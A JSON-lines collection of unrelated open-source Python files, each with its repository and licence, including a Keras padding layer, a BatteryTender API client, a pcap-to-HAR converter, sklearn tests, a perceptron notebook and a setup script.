+{"text": "#!/usr/bin/env python3\n# Developed by Xieyuanli Chen and Thomas L\u00e4be\n# This file is covered by the LICENSE file in the root of this project.\n# Brief: A custom keras padding layer.\n# pad([1 2 3 4], 2) -> [3, 4, 1, 2, 3, 4, 1]\nimport numpy as np\nfrom keras.layers import Layer\nfrom keras.models import Sequential\nimport keras.backend as K\n\n\nclass RangePadding2D(Layer):\n \"\"\" A keras layer which does horizontal padding. The input tensor\n is padded in the width direction.\n \"\"\"\n \n def __init__(self, padding, **kwargs):\n \"\"\" Initialization of the layer.\n Args:\n padding: defines how much will be padded \"before\" and \"after\" the input.\n The input is padded in width direction like this:\n [ padding:end, original, beginning:padding-1]\n Usually one uses half of the width for this argument to have a symmetric padding\n \"\"\" \n self.padding = padding\n super(RangePadding2D, self).__init__(**kwargs)\n \n def build(self, input_shape):\n super(RangePadding2D, self).build(input_shape)\n \n def call(self, inputs):\n if K.backend() == \"tensorflow\":\n # only do range padding in width dimension\n out = K.concatenate([inputs[:, :, self.padding:, :], inputs[:, :, :, :], inputs[:, :, :self.padding-1, :]],\n axis=2)\n else:\n raise Exception(\"Backend \" + K.backend() + \"not implemented\")\n return out\n \n def compute_output_shape(self, input_shape):\n return (input_shape[0], input_shape[1], input_shape[2] + input_shape[2] - 1 , input_shape[3])\n\n\nif __name__ == \"__main__\":\n one_channel_test = True\n two_channel_test = True\n \n if two_channel_test:\n # set test data\n image_raw = [[1, 6], [2, 5], [3, 4], [4, 3], [5, 2], [6, 1]]\n \n image = np.expand_dims(np.expand_dims(np.array(image_raw), 0), 0)\n print(\"input image shape: \", image.shape)\n print(\"Input:\")\n print(image)\n \n # build Keras model\n model = Sequential()\n rlayer = RangePadding2D(padding=3, input_shape=(1, 6, 2))\n model.add(rlayer)\n model.build()\n \n # simply apply existing filter, we use predict with no training\n out = model.predict(image)\n print(\"Output shape: \",out.shape)\n print(\"result of compute_output_shape (should be the same):\", rlayer.compute_output_shape(rlayer.input_shape))\n print(\"Output:\")\n print(out)\n \n if one_channel_test:\n # one channel test\n image_raw = [[1, 2, 3, 4, 5, 6]]\n \n # pad to channels_last format\n # which is [batch, width, height, channels]=[1,1,6,1]\n image = np.expand_dims(np.expand_dims(np.array(image_raw), 2), 0)\n print(\"input image shape: \", image.shape)\n print(\"Input:\")\n print(image)\n \n # build Keras model\n model = Sequential()\n rlayer = RangePadding2D(padding=3, input_shape=(1, 6, 1))\n model.add(rlayer)\n model.build()\n \n # simply apply existing filter, we use predict with no training\n out = model.predict(image)\n print(\"Output shape: \",out.shape)\n print(\"result of compute_output_shape (should be the same):\", rlayer.compute_output_shape(rlayer.input_shape))\n print(\"Output:\")\n print(out)\n", "source": "lilin-hitcrt/OverlapNet", "license": "MIT"}
+{"text": "src = Split('''\n aos/soc_impl.c\n hal/uart.c\n hal/flash.c \n\tmain.c\n''')\n\ndeps = Split('''\n kernel/rhino\n platform/arch/arm/armv7m\n platform/mcu/wm_w600/\n kernel/vcall\n kernel/init\n''')\n\nglobal_macro = Split('''\n STDIO_UART=0 \n CONFIG_NO_TCPIP\n RHINO_CONFIG_TICK_TASK=0 \n RHINO_CONFIG_WORKQUEUE=0\n CONFIG_AOS_KV_MULTIPTN_MODE\n CONFIG_AOS_KV_PTN=5\n CONFIG_AOS_KV_SECOND_PTN=6\n CONFIG_AOS_KV_PTN_SIZE=4096\n CONFIG_AOS_KV_BUFFER_SIZE=8192\n SYSINFO_PRODUCT_MODEL=\\\\\"ALI_AOS_WM_W600\\\\\" \n SYSINFO_DEVICE_NAME=\\\\\"WM_W600\\\\\"\n''')\n\n\nglobal_cflags = Split('''\n -mcpu=cortex-m3\n -mthumb\n -mfloat-abi=soft\n -march=armv7-m\n -mthumb -mthumb-interwork\n -mlittle-endian\n -w\n ''')\n\nlocal_cflags = Split('''\n -Wall \n -Werror\n -Wno-unused-variable\n -Wno-unused-parameter\n -Wno-implicit-function-declaration\n -Wno-type-limits\n -Wno-sign-compare\n -Wno-pointer-sign\n -Wno-uninitialized\n -Wno-return-type\n -Wno-unused-function\n -Wno-unused-but-set-variable\n -Wno-unused-value\n -Wno-strict-aliasing\n''')\n\nglobal_includes = Split('''\n ../../arch/arm/armv7m/gcc/m3\n''')\n\nglobal_ldflags = Split('''\n -mcpu=cortex-m3 \n -mthumb -mthumb-interwork\n -mlittle-endian\n -nostartfiles\n --specs=nosys.specs\n''')\n\n\nprefix = ''\nif aos_global_config.compiler == \"gcc\":\n prefix = 'arm-none-eabi-'\n\ncomponent = aos_mcu_component('WM_W600', prefix, src)\ncomponent.set_global_arch('Cortex-M3')\n\ncomponent.add_comp_deps(*deps)\ncomponent.add_global_macros(*global_macro)\ncomponent.add_global_cflags(*global_cflags)\ncomponent.add_cflags(*local_cflags)\ncomponent.add_global_includes(*global_includes)\ncomponent.add_global_ldflags(*global_ldflags)\n", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"}
+{"text": "import os\nimport shutil\nimport tempfile\n\nfrom tuf_on_a_plane.models.common import Filepath\nfrom tuf_on_a_plane.repository import Config, JSONRepository, Target\n\n\ndef test_e2e_succeeds():\n orig_metadata_cache = \"tests/data/repository/metadata\"\n\n temp_metadata_cache = tempfile.TemporaryDirectory()\n temp_targets_cache = tempfile.TemporaryDirectory()\n\n shutil.copytree(orig_metadata_cache, temp_metadata_cache.name, dirs_exist_ok=True)\n\n c = Config(\n \"https://dd-integrations-core-wheels-build-stable.datadoghq.com/metadata.staged/\",\n \"https://dd-integrations-core-wheels-build-stable.datadoghq.com/targets/\",\n temp_metadata_cache.name,\n temp_targets_cache.name,\n )\n\n def get(relpath: Filepath, depth: int = 0) -> None:\n print((depth * \"\\t\") + relpath)\n t: Target = r.get(relpath)\n assert os.path.exists(t.path)\n if t.target.custom:\n paths = t.target.custom.get(\"in-toto\")\n if paths:\n for path in paths:\n get(path, depth + 1)\n\n try:\n r = JSONRepository(c)\n except Exception:\n temp_metadata_cache.cleanup()\n temp_targets_cache.cleanup()\n raise\n else:\n try:\n get(\"simple/index.html\")\n finally:\n temp_metadata_cache.cleanup()\n temp_targets_cache.cleanup()\n r.close()\n", "source": "trishankatdatadog/tuf-on-a-plane", "license": "Apache-2.0"}
+{"text": "# -*- coding:utf-8 -*-\n\n# Copyright (c) 2018 Jason K\u00f6lker\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport urllib.parse\n\nimport dateutil.parser\nimport requests\nimport requests.auth\nimport ttldict\n\n\nHOST = 'https://balanced.deltranconnected.com'\nLOGIN_PATH = '/api/users/login'\nAUTHENTICATE_PATH = '/api/users/authenticate'\nCHARGER_PATH = '/api/charger/status'\nMONITOR_PATH = '/api/monitor/status'\n\n\nclass AuthorizationError(Exception):\n def __init__(self, response):\n super(AuthorizationError, self).__init__('Authorization Falied')\n self.response = response\n\n\nclass BatteryTenderAuth(requests.auth.AuthBase):\n def __init__(self, email, password, callback=None):\n self._params = {'email': email, 'password': password}\n self._callback = callback\n self.token = None\n self._enc_token = None\n\n def _handle(self, r, **kwargs):\n if r.status_code == 401:\n r.content\n r.close()\n\n auth = requests.Request(method='POST',\n url='{}{}'.format(HOST, LOGIN_PATH),\n params=self._params)\n\n _r = r.connection.send(auth.prepare(), **kwargs)\n _r.history.append(r)\n _r.request = auth\n\n if _r.status_code == 401:\n raise AuthorizationError(_r)\n\n if _r.status_code != 200:\n return r\n\n data = _r.json()\n self.token = data.get('token')\n self._enc_token = urllib.parse.urlencode({'token': self.token})\n\n if self._callback:\n self._callback(data)\n\n redo = r.request.copy()\n redo.prepare_url(redo.url, {'token': self.token})\n\n _r.content\n _r.close()\n\n return _r.connection.send(redo, **kwargs)\n\n return r\n\n def __call__(self, r):\n if self._enc_token and 'token' not in r.url:\n # NOTE(jkoelker) since this request is prepared, requests has\n # has already validataed the url and raised\n # parse errors. Its ok to just use urllib.parse\n (scheme,\n netloc,\n path,\n params,\n query,\n fragment) = urllib.parse.urlparse(r.url)\n\n if query:\n query = '%s&%s' % (query, self._enc_token)\n else:\n query = self._enc_token\n\n url_tuple = (scheme, netloc, path, params, query, fragment)\n r.url = urllib.parse.urlunparse(url_tuple)\n\n r.register_hook('response', self._handle)\n return r\n\n\nclass BTBase(object):\n def __init__(self, device_id, bt_api):\n self.device_id = device_id\n self._bt_api = bt_api\n\n def __repr__(self):\n return '<%s: %s>' % (self.__class__.__name__, self._repr_name)\n\n @property\n def _repr_name(self):\n return self.device_id\n\n\n# NOTE(jkoelker) This is untested, I do not have a charger\n# PR's welcome.\nclass Charger(BTBase):\n pass\n\n\nclass Monitor(BTBase):\n @property\n def _monitor(self):\n return self._bt_api._monitor(self.device_id).get('monitor', {})\n\n @property\n def current(self):\n c = self._bt_api._monitor(self.device_id)\n\n if not c:\n return {}\n\n if 'date' in c and 'id' in c and 'soc' in c and 'voltage' in c:\n return {'date': c['date'],\n 'id': c['id'],\n 'soc': c['soc'],\n 'voltage': c['voltage']}\n\n return {}\n\n @property\n def created(self):\n return self._monitor.get('createdAt')\n\n @property\n def updated(self):\n return self._monitor.get('updated')\n\n @property\n def name(self):\n return self._monitor.get('name')\n\n @property\n def history(self):\n return self._bt_api._monitor_history(self.device_id)\n\n @property\n def date(self):\n return self._bt_api._monitor(self.device_id).get('date')\n\n @property\n def soc(self):\n return self._bt_api._monitor(self.device_id).get('soc')\n\n @property\n def voltage(self):\n return self._bt_api._monitor(self.device_id).get('voltage')\n\n\nclass BatteryTender(object):\n def __init__(self, email, password, cache_ttl=600):\n self._cache_ttl = cache_ttl\n\n self._charger_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n self._chargers_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n\n self._monitor_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n self._monitors_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n\n def parse_status_history(item):\n status_history = item.get('statusHistory', [])\n parsed = []\n for status in status_history:\n if 'date' in status:\n status['date'] = dateutil.parser.parse(status['date'])\n\n parsed.append(status)\n\n return parsed\n\n def callback(data):\n for monitor in data.get('monitors', []):\n if 'deviceId' not in monitor:\n continue\n\n monitor['statusHistory'] = parse_status_history(monitor)\n self._monitors_cache[monitor['deviceId']] = monitor\n\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n for charger in data.get('chargers', []):\n if 'deviceId' not in charger:\n continue\n\n charger['statusHistory'] = parse_status_history(charger)\n self._chargers_cache[charger['deviceId']] = charger\n\n self._session = requests.Session()\n self._session.auth = BatteryTenderAuth(email, password,\n callback=callback)\n\n def _request(self, verb, path, params=None):\n url = '{}{}'.format(HOST, path)\n response = self._session.request(verb, url, params=params,\n allow_redirects=False)\n\n if response.status_code == 200:\n return response.json()\n\n return {}\n\n def _history(self, device_id, cache):\n if device_id not in cache.keys():\n self.refresh_cache()\n\n device = cache.get(device_id, {})\n\n return device.get('statusHistory', [])\n\n def _charger_history(self, device_id):\n return self._history(device_id, self._monitors_cache)\n\n def _monitor_history(self, device_id):\n return self._history(device_id, self._monitors_cache)\n\n @staticmethod\n def _prepare_device(device, key):\n if 'date' in device:\n device['date'] = dateutil.parser.parse(device['date'])\n\n if key in device:\n if 'createdAt' in device[key]:\n created_at = dateutil.parser.parse(device[key]['createdAt'])\n device[key]['createdAt'] = created_at\n\n if 'updatedAt' in device[key]:\n updated_at = dateutil.parser.parse(device[key]['updatedAt'])\n device[key]['updatedAt'] = updated_at\n\n return device\n\n @staticmethod\n def _prepare_charger(charger):\n return BatteryTender._prepare_device(charger, 'charger')\n\n @staticmethod\n def _prepare_monitor(monitor):\n return BatteryTender._prepare_device(monitor, 'monitor')\n\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n def _charger(self, device_id):\n if device_id not in self._charger_cache.keys():\n charger = self._request('GET', CHARGER_PATH,\n params={'chargerId': device_id})\n self._charger_cache[device_id] = self._prepare_charger(charger)\n\n return self._charger_cache.get(device_id)\n\n def _monitor(self, device_id):\n if device_id not in self._monitor_cache.keys():\n monitor = self._request('GET', MONITOR_PATH,\n params={'monitorId': device_id})\n self._monitor_cache[device_id] = self._prepare_monitor(monitor)\n\n return self._monitor_cache.get(device_id)\n\n def refresh_cache(self):\n # NOTE(jkoelker) Hit login without the params to trigger\n # initial login and callback\n self._request('POST', AUTHENTICATE_PATH)\n\n @property\n def chargers(self):\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n if not self._chargers_cache.keys():\n self.refresh_cache()\n\n return [Charger(c, self) for c in self._chargers_cache.keys()]\n\n @property\n def monitors(self):\n if not self._monitors_cache.keys():\n self.refresh_cache()\n\n return [Monitor(m, self) for m in self._monitors_cache.keys()]\n", "source": "stainlessray/batterytender", "license": "MIT"}
+{"text": "def voto():\n from datetime import datetime\n nascimento = int(input('Informe o ano de nascimento: '))\n while nascimento > datetime.now().year:\n print('Erro! O ano de nascimento n\u00e3o pode exceder o ano atual.')\n nascimento = int(input('Digite novamente: '))\n if nascimento < datetime.now().year:\n break\n idade = datetime.now().year - nascimento\n if idade > 65 or 15 < idade < 18:\n return print(f'Com {idade} anos: Votar \u00e9 opcional.')\n elif idade >= 18:\n return print(f'Com {idade} anos: Votar \u00e9 obrigat\u00f3rio.')\n else:\n return print(f'Com {idade} anos: N\u00e3o \u00e9 permitido votar.')\n\n\nvoto()\n", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# Author: Saya\n# License: MIT\n\nimport rospy\n\nfrom collision_warning import CollisionWarning\nfrom min_dist_detection import MinDistDetection\nfrom sound_min_dist_feedback import SoundMinDistFeedback\n\nclass CollisionPrevention:\n\tdef __init__(self):\n\t\trospy.init_node('collision_prevention', anonymous=True)\n\t\trospy.loginfo(\"full: launching...\")\n\t\tmdt = MinDistDetection()\n\t\tcw = CollisionWarning()\n\t\tsmdf = SoundMinDistFeedback()\n\t\trospy.loginfo(\"full: shutting down\")\n\nif __name__ == '__main__':\n c = CollisionPrevention()\n rospy.spin()", "source": "sayabiws/turtlebot-simple-distance-beep", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\n'''\nMain program that converts pcaps to HAR's.\n'''\n\nimport os\nimport optparse\nimport logging\nimport sys\nimport json\n\nfrom pcap2har import pcap\nfrom pcap2har import http\nfrom pcap2har import httpsession\nfrom pcap2har import har\nfrom pcap2har import tcp\nfrom pcap2har import settings\nfrom pcap2har.packetdispatcher import PacketDispatcher\nfrom pcap2har.pcaputil import print_rusage\n\n\n# get cmdline args/options\nparser = optparse.OptionParser(\n usage='usage: %prog inputfile outputfile'\n)\nparser.add_option('--no-pages', action='store_false',\n dest='pages', default=True)\nparser.add_option('-d', '--drop-bodies', action='store_true',\n dest='drop_bodies', default=False)\nparser.add_option('-k', '--keep-unfulfilled-requests', action='store_true',\n dest='keep_unfulfilled', default=False)\nparser.add_option('-r', '--resource-usage', action='store_true',\n dest='resource_usage', default=False)\nparser.add_option('--pad_missing_tcp_data', action='store_true',\n dest='pad_missing_tcp_data', default=False)\nparser.add_option('--strict-http-parsing', action='store_true',\n dest='strict_http_parsing', default=False)\nparser.add_option('-l', '--log', dest='logfile', default='pcap2har.log')\noptions, args = parser.parse_args()\n\n# copy options to settings module\nsettings.process_pages = options.pages\nsettings.drop_bodies = options.drop_bodies\nsettings.keep_unfulfilled_requests = options.keep_unfulfilled\nsettings.pad_missing_tcp_data = options.pad_missing_tcp_data\nsettings.strict_http_parse_body = options.strict_http_parsing\n\n# setup logs\nlogging.basicConfig(filename=options.logfile, level=logging.INFO)\n\n# get filenames, or bail out with usage error\nif len(args) == 2:\n inputfile, outputfile = args[0:2]\nelif len(args) == 1:\n inputfile = args[0]\n outputfile = inputfile+'.har'\nelse:\n parser.print_help()\n sys.exit()\n\nlogging.info('Processing %s', inputfile)\n\n# parse pcap file\ndispatcher = pcap.EasyParsePcap(filename=inputfile)\n\n# parse HAR stuff\nsession = httpsession.HttpSession(dispatcher)\n\nlogging.info('Flows=%d. HTTP pairs=%d' % (len(session.flows), len(session.entries)))\n\n#write the HAR file\nwith open(outputfile, 'w') as f:\n json.dump(session, f, cls=har.JsonReprEncoder, indent=2, encoding='utf8', sort_keys=True)\n\nif options.resource_usage:\n print_rusage()\n", "source": "wadahana/pcap2har", "license": "BSD-2-Clause"}
+{"text": "\"\"\"\nModule containing tasks regarding quantization of DL models using TFLite.\n\"\"\"\n", "source": "madziejm/dl-in-iot-course-1", "license": "Apache-2.0"}
+{"text": "# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nimport pytest\nfrom scipy.sparse import csr_matrix\n\nfrom sklearn import datasets\nfrom sklearn.decomposition import PCA, TruncatedSVD\nfrom sklearn.utils.testing import assert_array_almost_equal\n\nfrom sagemaker_sklearn_extension.decomposition import RobustPCA\n\n\nX_iris = datasets.load_iris().data\nX_iris_sparse = csr_matrix(X_iris)\n\n\n@pytest.mark.parametrize(\n [\"X\", \"n_components\", \"X_expected\"],\n [\n # Dense input\n (X_iris, 2, PCA(n_components=2).fit_transform(X_iris)),\n # Sparse input\n (X_iris_sparse, 2, TruncatedSVD().fit_transform(X_iris_sparse)),\n # n_components > X.shape[1], no dimension reduction\n (X_iris, 1000, X_iris),\n ],\n)\ndef test_svd(X, n_components, X_expected):\n svd = RobustPCA(n_components=n_components)\n X_observed = svd.fit_transform(X)\n\n assert_array_almost_equal(X_observed, X_expected)\n", "source": "perunicic/sagemaker-scikit-learn-extension", "license": "Apache-2.0"}
+{"text": "# Copyright (c) 2020 SBA - MIT License\n\nfrom .selector import MockSelector, MockSocket, ListenSocket\ntry:\n from .version import version as __version__\nexcept ImportError:\n # be conservative if version.py could not be generated\n # as it might happen on some CI platforms...\n __version__ = '0.0.0'\n__all__ = [MockSocket, MockSelector, ListenSocket]\n", "source": "s-ball/MockSelector", "license": "MIT"}
+{"text": "from planet.models import PlanetFeed, PlanetFeedAdmin\nfrom django.contrib import admin\n\nadmin.site.register(PlanetFeed, PlanetFeedAdmin)\n", "source": "Dikutal/Dikutal", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom sklearn.datasets import load_iris \nimport pandas as pd\nimport numpy as np\nimport pickle\n\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\n\n# In[ ]:\n\n\n# method used for saving object as pickle\ndef save_object_as_pickle(obj, filename):\n with open(filename, 'wb') as file:\n pickle.dump(obj, file, pickle.HIGHEST_PROTOCOL)\n\n\n# ### Load the data\n\n# In[ ]:\n\n\niris = load_iris(as_frame=True)\n\n\n# In[ ]:\n\n\npd.concat([iris.data, iris.target], axis=1).plot.scatter(\n x='petal length (cm)',\n y='petal width (cm)',\n c='target',\n colormap='viridis'\n)\n\n\n# In[ ]:\n\n\niris.data\n\n\n# In[ ]:\n\n\nX = iris.data[['petal length (cm)','petal width (cm)']]\ny = iris.target\n\n\n# In[ ]:\n\n\nX_train, X_test, y_train, y_test= train_test_split(X, y, test_size=0.2)\n\n\n# In[ ]:\n\n\ny_train_0 = (y_train == 0).astype(int)\ny_test_0 = (y_test == 0).astype(int)\n\n\n# #### for 0 target value\n\n# In[ ]:\n\n\n# for 0 target value\nper_clf_0 = Perceptron()\nper_clf_0.fit(X_train, y_train_0)\n\n\n# In[ ]:\n\n\ny_pred_train_0 = per_clf_0.predict(X_train)\ny_pred_test_0 = per_clf_0.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_0 = accuracy_score(y_train_0, y_pred_train_0)\nacc_test_0 = accuracy_score(y_test_0, y_pred_test_0)\nprint(\"acc_train_0\", acc_train_0)\nprint(\"acc_test_0\", acc_test_0)\n\n\n# #### for 1 target value\n\n# In[ ]:\n\n\ny_train_1 = (y_train == 1).astype(int)\ny_test_1 = (y_test == 1).astype(int)\n\n\n# In[ ]:\n\n\n# for 1 target value\nper_clf_1 = Perceptron()\nper_clf_1.fit(X_train, y_train_1)\n\n\n# In[ ]:\n\n\ny_pred_train_1 = per_clf_1.predict(X_train)\ny_pred_test_1 = per_clf_1.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_1 = accuracy_score(y_train_1, y_pred_train_1)\nacc_test_1 = accuracy_score(y_test_1, y_pred_test_1)\nprint(\"acc_train_1\", acc_train_1)\nprint(\"acc_test_1\", acc_test_1)\n\n\n# #### for 2 target value\n\n# In[ ]:\n\n\ny_train_2 = (y_train == 2).astype(int)\ny_test_2 = (y_test == 2).astype(int)\n\n\n# In[ ]:\n\n\n# for 2 target value\nper_clf_2 = Perceptron()\nper_clf_2.fit(X_train, y_train_2)\n\n\n# In[ ]:\n\n\ny_pred_train_2 = per_clf_2.predict(X_train)\ny_pred_test_2 = per_clf_2.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_2 = accuracy_score(y_train_2, y_pred_train_2)\nacc_test_2 = accuracy_score(y_test_2, y_pred_test_2)\nprint(\"acc_train_2\", acc_train_2)\nprint(\"acc_test_2\", acc_test_2)\n\n\n# #### weights\n\n# In[ ]:\n\n\nprint(\"0: bias weight\", per_clf_0.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_0.coef_)\n\n\n# In[ ]:\n\n\nprint(\"1: bias weight\", per_clf_1.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_1.coef_)\n\n\n# In[ ]:\n\n\nprint(\"0: bias weight\", per_clf_2.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_2.coef_)\n\n\n# #### Save accuracy lists and weight tuple in the pickles\n\n# In[ ]:\n\n\n# accuracy\nper_acc = [(acc_train_0, acc_test_0), (acc_train_1, acc_test_1), (acc_train_2, acc_test_2)]\nfilename = \"per_acc.pkl\"\nsave_object_as_pickle(per_acc, filename)\nprint(\"per_acc\\n\", per_acc)\n\n\n# In[ ]:\n\n\n# weights\nper_wght = [(per_clf_0.intercept_[0], per_clf_0.coef_[0][0], per_clf_0.coef_[0][1]), (per_clf_1.intercept_[0], per_clf_1.coef_[0][0], per_clf_1.coef_[0][1]), (per_clf_2.intercept_[0], per_clf_2.coef_[0][0], per_clf_2.coef_[0][1])]\nfilename = \"per_wght.pkl\"\nsave_object_as_pickle(per_wght, filename)\nprint(\"per_wght\\n\", per_wght)\n\n\n# ### Perceptron, XOR\n\n# In[ ]:\n\n\nX = np.array([[0, 0],\n [0, 1],\n [1, 0],\n [1, 1]])\ny = np.array([0,\n 1, \n 1, \n 0])\n\n\n# In[ ]:\n\n\nper_clf_xor = Perceptron()\nper_clf_xor.fit(X, y)\n\n\n# In[ ]:\n\n\npred_xor = per_clf_xor.predict(X)\nxor_acc = accuracy_score(y, pred_xor)\n\nprint(\"xor_accuracy:\", xor_acc)\n\n\n# In[ ]:\n\n\nprint(\"XOR: bias weight\", per_clf_xor.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_xor.coef_)\n\n\n# ### 2nd Perceprton, XOR\n\n# In[ ]:\n\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\n# In[ ]:\n\n\nwhile True:\n model = keras.models.Sequential()\n\n model.add(keras.layers.Dense(2, activation=\"relu\", input_dim=2))\n model.add(keras.layers.Dense(1, activation=\"sigmoid\"))\n\n model.compile(loss=tf.keras.losses.BinaryCrossentropy(), \n optimizer=tf.keras.optimizers.Adam(learning_rate=0.085), \n metrics=[\"binary_accuracy\"])\n\n history = model.fit(X, y, epochs=100, verbose=False)\n predict_prob=model.predict(X)\n print(predict_prob)\n print(history.history['binary_accuracy'][-1])\n if predict_prob[0] < 0.1 and predict_prob[1] > 0.9 and predict_prob[2] > 0.9 and predict_prob[3] < 0.1:\n weights = model.get_weights()\n break\n\n\n# ### Save data to pickle\n\n# In[ ]:\n\n\nprint(\"weights\\n\", weights)\n\n\n# In[ ]:\n\n\nfilename = \"mlp_xor_weights.pkl\"\nsave_object_as_pickle(weights, filename)\n\n\n# ### Check saved Pickles contents\n\n# In[ ]:\n\n\n# check if pickles' contents are saved correctly\n\nprint(\"per_acc.pkl\\n\", pd.read_pickle(\"per_acc.pkl\"), \"\\n\")\nprint(\"per_wght.pkl\\n\", pd.read_pickle(\"per_wght.pkl\"), \"\\n\")\nprint(\"mlp_xor_weights.pkl\\n\", pd.read_pickle(\"mlp_xor_weights.pkl\"), \"\\n\")\n\n", "source": "YgLK/ML", "license": "MIT"}
+{"text": "''' \nData list contains all users info. Each user's info must be a list.\n First Element: 0 (int)\n Second Element: name (str)\n Third Element: username (str)\n Fourth Element: toph link (str)\n Fifth Element: dimik link (str)\n Sixth Element: uri link (str)\nNote: If any user does not have an account leave there an empty string.\n'''\ndata = [\n [0, \"Mahinul Islam\", \"mahin\", \"\", \"\",\n \"https://urionlinejudge.com.br/judge/en/profile/239509\"],\n [0, \"Majedul Islam\", \"majed\", \"\", \"\",\n \"https://urionlinejudge.com.br/judge/en/profile/229317\"],\n [0, \"Md. Mushfiqur Rahman\", \"mdvirus\", \"https://toph.co/u/mdvirus\",\n \"https://dimikoj.com/users/53/mdvirus\", \"https://urionlinejudge.com.br/judge/en/profile/223624\"],\n [0, \"Md. Shazzad Hossein Shakib\", \"HackersBoss\",\n \"https://toph.co/u/HackersBoss\", \"\", \"\"],\n [0, \"Abdullah Al Mukit\", \"newbie_mukit\", \"https://toph.co/u/newbie_mukit\",\n \"\", \"https://urionlinejudge.com.br/judge/en/profile/228785\"],\n [0, \"Md. Toukir Ahammed\", \"toukir48bit\",\n \"https://toph.co/u/toukir48bit\", \"\", \"\"],\n [0, \"Md. Sifat Al Imtiaz\", \"SifatTheCoder\",\n \"https://toph.co/u/SifatTheCoder\", \"\", \"\"],\n [0, \"Mojahidul Islam Rakib\", \"HelloRakib\",\n \"https://toph.co/u/HelloRakib\", \"\", \"\"],\n [0, \"Md. Forhad Islam\", \"fiveG_coder\",\n \"https://toph.co/u/fiveG_coder\", \"\", \"\"],\n [0, \"Most Rumana Akter Rupa\", \"programmer_upa\",\n \"https://toph.co/u/programmer_upa\", \"\", \"\"],\n [0, \"Most Keya Akter\", \"Uniqe_coder\",\n \"https://toph.co/u/Uniqe_coder\", \"\", \"\"],\n [0, \"Most Nargiz Akter\", \"Simple_coder\",\n \"https://toph.co/u/Simple_coder\", \"\", \"\"],\n [0, \"Most Masuda Akter Momota\", \"itsmomota\",\n \"https://toph.co/u/itsmomota\", \"\", \"\"],\n [0, \"Lutfor Rahman\", \"Scanfl\", \"https://toph.co/u/Scanfl\", \"\", \"\"],\n [0, \"Most Aysha Akter Borsha\", \"Smart_coder\",\n \"https://toph.co/u/Smart_coder\", \"\", \"\"]\n]\n", "source": "mdgaziur/Ranky", "license": "MIT"}
+{"text": "import requests\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef notify(message, event=\"coegan_epoch_ended\", ifttt_key=os.getenv(\"IFTTT_WEBHOOK_KEY\")):\n if ifttt_key is None:\n return\n report = {'value1': message}\n requests.post(f\"https://maker.ifttt.com/trigger/{event}/with/key/{ifttt_key}\", data=report)\n", "source": "vfcosta/coegan-trained", "license": "MIT"}
+{"text": "# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\nimport os\nimport sysconfig\nimport shutil\nfrom setuptools import setup, Extension\nfrom setuptools.command.build_ext import build_ext\n\next_path_rel = os.path.join('confonnx', 'confonnx_py' + sysconfig.get_config_var('EXT_SUFFIX'))\next_path = os.path.join(os.path.dirname(__file__), ext_path_rel)\n\n\nclass my_build_ext(build_ext):\n ''' Makes the CMake-built Python extension module available to setuptools '''\n def build_extension(self, ext):\n build_temp_path = self.get_ext_fullpath(ext.name)\n print(\"copying {} -> {}\".format(ext_path_rel, build_temp_path))\n shutil.copyfile(ext_path, build_temp_path)\n\nsetup(\n name='confonnx',\n version='0.1.0',\n description='TBD',\n packages=['confonnx'],\n ext_modules = [Extension(\"confonnx.confonnx_py\", sources=[])],\n cmdclass = {\n 'build_ext': my_build_ext,\n },\n python_requires='>=3.3',\n install_requires=[\n 'six',\n 'requests',\n 'numpy',\n 'onnx',\n 'onnxruntime',\n 'protobuf',\n 'tabulate',\n 'pycryptodome'\n ]\n)", "source": "kapilvgit/onnx-server-openenclave", "license": "MIT"}
